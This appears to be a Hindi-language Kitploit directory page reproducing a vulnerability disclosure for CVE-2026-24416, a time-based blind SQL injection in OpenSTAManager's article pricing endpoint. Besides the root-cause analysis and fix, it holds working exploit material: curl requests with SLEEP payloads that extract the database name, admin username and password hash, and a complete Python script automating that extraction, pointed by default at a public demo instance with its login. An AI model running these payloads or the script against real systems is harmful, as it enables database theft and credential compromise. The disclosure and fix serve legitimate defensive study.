Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-24416 — CVE-2026-24416 - OpenSTAManager में आर्टिकल मूल्य निर्धारण मॉड्यूल में Time-Based Blind SQL Injection है | Kitploit
उपकरण/GitHubGitHub/lukasz-rybak/cve-2026-24416
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHublukasz-rybak/cve-2026-24416

CVE-2026-24416

CVE-2026-24416 - OpenSTAManager में आर्टिकल मूल्य निर्धारण मॉड्यूल में Time-Based Blind SQL Injection है

रिपॉजिटरी देखें
4 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-24416: OpenSTAManager के आर्टिकल मूल्य निर्धारण मॉड्यूल में Time-Based Blind SQL Injection

अवलोकन

फ़ील्डविवरण
CVE IDCVE-2026-24416
गंभीरताHIGH
सलाहसलाह देखें
खोजकर्ताLukasz Rybak

प्रभावित उत्पाद

  • devcode-it/openstamanager (संस्करण: <= 2.9.8)

CWE वर्गीकरण

  • CWE-89: SQL कमांड में प्रयुक्त विशेष तत्वों का अनुचित न्यूट्रलाइज़ेशन ('SQL इंजेक्शन')

विवरण

सारांश

OpenSTAManager v2.9.8 के आर्टिकल मूल्य निर्धारण मॉड्यूल में गंभीर Time-Based Blind SQL Injection भेद्यता प्रमाणित हमलावरों को समय-आधारित Boolean अनुमान हमलों के माध्यम से उपयोगकर्ता क्रेडेंशियल्स, ग्राहक डेटा और वित्तीय रिकॉर्ड सहित संपूर्ण डेटाबेस सामग्री निकालने की अनुमति देती है।

स्थिति: ✅ लाइव इंस्टेंस (v2.9.8) और demo.osmbusiness.it (v2.9.7) पर पुष्टि एवं परीक्षण किया गया संवेदनशील पैरामीटर: idarticolo (GET) प्रभावित एंडपॉइंट: /ajax_complete.php?op=getprezzi प्रभावित मॉड्यूल: Articoli (आर्टिकल/उत्पाद)

विवरण

OpenSTAManager v2.9.8 में आर्टिकल मूल्य निर्धारण पूर्णता हैंडलर में एक गंभीर Time-Based Blind SQL Injection भेद्यता मौजूद है। एप्लिकेशन SQL क्वेरी में उपयोग करने से पहले idarticolo पैरामीटर को ठीक से सैनिटाइज़ नहीं करता है, जिससे हमलावर मनमाने SQL कमांड इंजेक्ट कर सकते हैं और समय-आधारित Boolean अनुमान के माध्यम से संवेदनशील डेटा निकाल सकते हैं।

भेद्यता श्रृंखला:

  1. प्रवेश बिंदु: /ajax_complete.php (पंक्ति 27)

    root@kitploit:~
    $op = get('op');
    $result = AJAX::complete($op);
    

    op पैरामीटर प्राप्त किया जाता है, लेकिन भेद्यता अन्य पैरामीटरों में है।

  2. वितरण: /src/AJAX.php::complete() (पंक्ति 189)

    root@kitploit:~
    $result = self::getCompleteResults($file, $resource);
    
  3. निष्पादन: /src/AJAX.php::getCompleteResults() (पंक्ति 402)

    root@kitploit:~
    require $file;
    

    मॉड्यूल-विशिष्ट complete.php फ़ाइलें शामिल की जाती हैं।

  4. संवेदनशील पैरामीटर: /modules/articoli/ajax/complete.php (पंक्ति 26)

    root@kitploit:~
    $idarticolo = get('idarticolo');
    

    idarticolo पैरामीटर GET अनुरोध से प्राप्त किया जाता है।

  5. (पंक्ति 70)

संदर्भ - पूर्ण क्वेरी संरचना (पंक्तियाँ 39-74):

संवेदनशील क्वेरी एक UNION क्वेरी का हिस्सा है जो इनवॉइस और डिलीवरी नोट्स से मूल्य इतिहास प्राप्त करती है:

root@kitploit:~
$documenti = $dbo->fetchArray('
    SELECT
        `iddocumento` AS id,
        "Fattura" AS tipo,
        "Fatture di vendita" AS modulo,
        (`subtotale`-`sconto`)/`qta` AS costo_unitario,
        ...
    FROM
        `co_righe_documenti`
        INNER JOIN `co_documenti` ON `co_documenti`.`id` = `co_righe_documenti`.`iddocumento`
        INNER JOIN `co_tipidocumento` ON `co_tipidocumento`.`id` = `co_documenti`.`idtipodocumento`
    WHERE
        `idarticolo`='.prepare($idarticolo).' AND ...  # ✓ PROPERLY SANITIZED (Line 54)
UNION
    SELECT
        `idddt` AS id,
        "Ddt" AS tipo,
        ...
    FROM
        `dt_righe_ddt`
        INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
        INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
    WHERE
        `idarticolo`='.$idarticolo.' AND   # ✗ VULNERABLE - NO prepare() (Line 70)
        `dt_tipiddt`.`dir`="entrata" AND
        `idanagrafica`='.prepare($idanagrafica).'
ORDER BY
    `id` DESC LIMIT 0,5');

मूल कारण: डेवलपर ने पहले SELECT (पंक्ति 54) में prepare() का सही उपयोग किया, लेकिन UNION क्वेरी के दूसरे SELECT (पंक्ति 70) में इसका उपयोग करना भूल गया, जिससे एक असंगत सुरक्षा पैटर्न बन गया।

PoC

चरण 1: लॉगिन

root@kitploit:~
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
  -d 'username=admin&password=admin'

चरण 2: भेद्यता सत्यापित करें (Time-Based SLEEP)

root@kitploit:~
# Test with SLEEP(10)
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(10)))a)" \
  > /dev/null
# Result: real 0m10.32s (10.32 seconds)

# Test with SLEEP(3) - should take ~3 seconds
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(3)))a)" \
  > /dev/null
# Result: real 0m3.36s (3.36 seconds)

# Test without SLEEP
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1" \
  > /dev/null
# Result: real 0m0.31s (0.31 seconds)
छवि

चरण 3: डेटा निष्कर्षण - डेटाबेस नाम

root@kitploit:~
# Extract first character of database name
# Test if first char is 'o' (expected: TRUE for 'openstamanager')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m2.34s (SLEEP executed - condition TRUE)

# Test if first char is 'x' (expected: FALSE)
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m0.31s (SLEEP not executed - condition FALSE)

# Extract second character (expected: 'p')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),2,1)=%27p%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m2.34s (SLEEP executed - confirms second char is 'p')

# Extract first 3 characters (expected: 'ope')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,3)=%27ope%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms 'ope...')

चरण 4: संवेदनशील डेटा निकालें - व्यवस्थापक क्रेडेंशियल्स

root@kitploit:~
# Extract admin username (test if first 5 chars are 'admin')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(username,1,5)%20FROM%20zz_users%20WHERE%20id=1)=%27admin%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms admin username)

# Extract first character of password hash (expected: '$' for bcrypt)
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(password,1,1)%20FROM%20zz_users%20WHERE%20id=1)=%27%24%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms bcrypt hash format)

पेलोड स्पष्टीकरण:

root@kitploit:~
Original payload: 1 AND SUBSTRING(DATABASE(),1,1)='o' AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
URL-encoded: 1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)

Injection breakdown:
1. 1 - Valid article ID
2. AND SUBSTRING(DATABASE(),1,1)='o' - Boolean condition to test
3. AND (SELECT 1 FROM (SELECT(SLEEP(2)))a) - Execute SLEEP(2) if condition is true

SQL Query Result:
WHERE
    `idarticolo`=1
    AND SUBSTRING(DATABASE(),1,1)='o'
    AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
    AND `dt_tipiddt`.`dir`="entrata"
    AND `idanagrafica`=1

स्वचालित निष्कर्षण स्क्रिप्ट उदाहरण:

root@kitploit:~
import requests
import time
import string
import sys

# Default Configuration
BASE_URL = "https://demo.osmbusiness.it"
USERNAME = "demo"
PASSWORD = "demodemo1"
SLEEP_TIME = 3  # Increased to 3s for stability on remote demo instance

def login(session, base_url, user, pwd):
    """Authenticates to the application and maintains session."""
    login_url = f"{base_url}/index.php?op=login"
    data = {"username": user, "password": pwd}
    
    print(f"[*] Attempting login to: {login_url}...")
    try:
        response = session.post(login_url, data=data, timeout=10)
        # Check if login was successful (usually indicated by presence of logout link or redirect)
        if "logout" in response.text.lower() or response.status_code == 200:
            print("[+] Login successful!")
            return True
        else:
            print("[-] Login failed. Please check credentials.")
            return False
    except Exception as e:
        print(f"[!] Connection error: {e}")
        return False

def extract_data(session, base_url, sql_query, label="Data"):
    """Extracts data character by character until the end of the string is reached."""
    print(f"\n[*] Extracting: {label}...")
    result = ""
    position = 1
    target_endpoint = f"{base_url}/ajax_complete.php"
    
    # Charset optimized for database names and bcrypt hashes ($, ., /)
    charset = string.ascii_letters + string.digits + "$./" + string.punctuation

    while True:
        found_char = False
        for char in charset:
            # Payload: If the condition is true, the server sleeps for SLEEP_TIME
            # Using ORD() and SUBSTRING() to handle various character types safely
            payload = f"1 AND (SELECT 1 FROM (SELECT IF(ORD(SUBSTRING(({sql_query}),{position},1))={ord(char)},SLEEP({SLEEP_TIME}),0))a)"
            
            params = {
                "op": "getprezzi",
                "idanagrafica": "1",
                "idarticolo": payload
            }

            try:
                start_time = time.time()
                session.get(target_endpoint, params=params, timeout=SLEEP_TIME + 10)
                elapsed = time.time() - start_time

                if elapsed >= SLEEP_TIME:
                    result += char
                    found_char = True
                    sys.stdout.write(f"\r[+] {label} [{position}]: {result}")
                    sys.stdout.flush()
                    break
            except requests.exceptions.RequestException:
                # Handle network jitter/timeouts by retrying or continuing
                continue

        # If no character from charset triggered a sleep, we've reached the end of the data
        if not found_char:
            print(f"\n[!] End of string or no data found at position {position}.")
            break
            
        position += 1
        
    return result

def main():
    s = requests.Session()
    
    # Allow target URL to be passed as a command line argument
    target = sys.argv[1] if len(sys.argv) > 1 else BASE_URL
    
    if login(s, target, USERNAME, PASSWORD):
        # 1. Database name extraction
        db = extract_data(s, target, "SELECT DATABASE()", "Database Name")
        
        # 2. Admin username extraction
        user = extract_data(s, target, "SELECT username FROM zz_users WHERE id=1", "Admin Username (id=1)")
        
        # 3. Password hash extraction (Bcrypt hashes are ~60 chars; the loop handles this automatically)
        pwd_hash = extract_data(s, target, "SELECT password FROM zz_users WHERE id=1", "Password Hash")

        print(f"\n\n{'='*35}")
        print(f"         FINAL REPORT")
        print(f"{'='*35}")
        print(f"Target URL: {target}")
        print(f"Database:   {db}")
        print(f"Username:   {user}")
        print(f"Hash:       {pwd_hash}")
        print(f"{'='*35}")

if __name__ == "__main__":
    main()
छवि

प्रभाव

प्रभावित उपयोगकर्ता: आर्टिकल मूल्य निर्धारण कार्यक्षमता तक पहुँच रखने वाले सभी प्रमाणित उपयोगकर्ता (आमतौर पर कोटेशन, इनवॉइस और ऑर्डर प्रबंधित करने वाले उपयोगकर्ता)।

अनुशंसित सुधार:

फ़ाइल: /modules/articoli/ajax/complete.php

पहले (संवेदनशील - पंक्ति 70):

root@kitploit:~
WHERE
    `idarticolo`='.$idarticolo.' AND
    `dt_tipiddt`.`dir`="entrata" AND
    `idanagrafica`='.prepare($idanagrafica).'

बाद में (सुधारा गया):

root@kitploit:~
WHERE
    `idarticolo`='.prepare($idarticolo).' AND
    `dt_tipiddt`.`dir`="entrata" AND
    `idanagrafica`='.prepare($idanagrafica).'

क्रेडिट

खोजकर्ता: Łukasz Rybak

संदर्भ

  • https://github.com/devcode-it/openstamanager/security/advisories/GHSA-p864-fqgv-92q4
  • https://nvd.nist.gov/vuln/detail/CVE-2026-24416
  • https://github.com/advisories/GHSA-p864-fqgv-92q4

अस्वीकरण

यह CVE समन्वित भेद्यता प्रकटीकरण प्रथाओं का पालन करते हुए जिम्मेदारीपूर्वक प्रकट किया गया था। यहाँ दी गई जानकारी केवल शैक्षिक और रक्षात्मक उद्देश्यों के लिए है।

टूल डाउनलोड करें
संवेदनशील SQL क्वेरी:
/modules/articoli/ajax/complete.php
प्राथमिक भेद्यता
root@kitploit:~
FROM
    `dt_righe_ddt`
    INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
    INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
WHERE
    `idarticolo`='.$idarticolo.' AND
    `dt_tipiddt`.`dir`="entrata" AND
    `idanagrafica`='.prepare($idanagrafica).'

प्रभाव: $idarticolo का prepare() के बिना सीधा संयोजन, जबकि $idanagrafica को ठीक से सैनिटाइज़ किया गया है।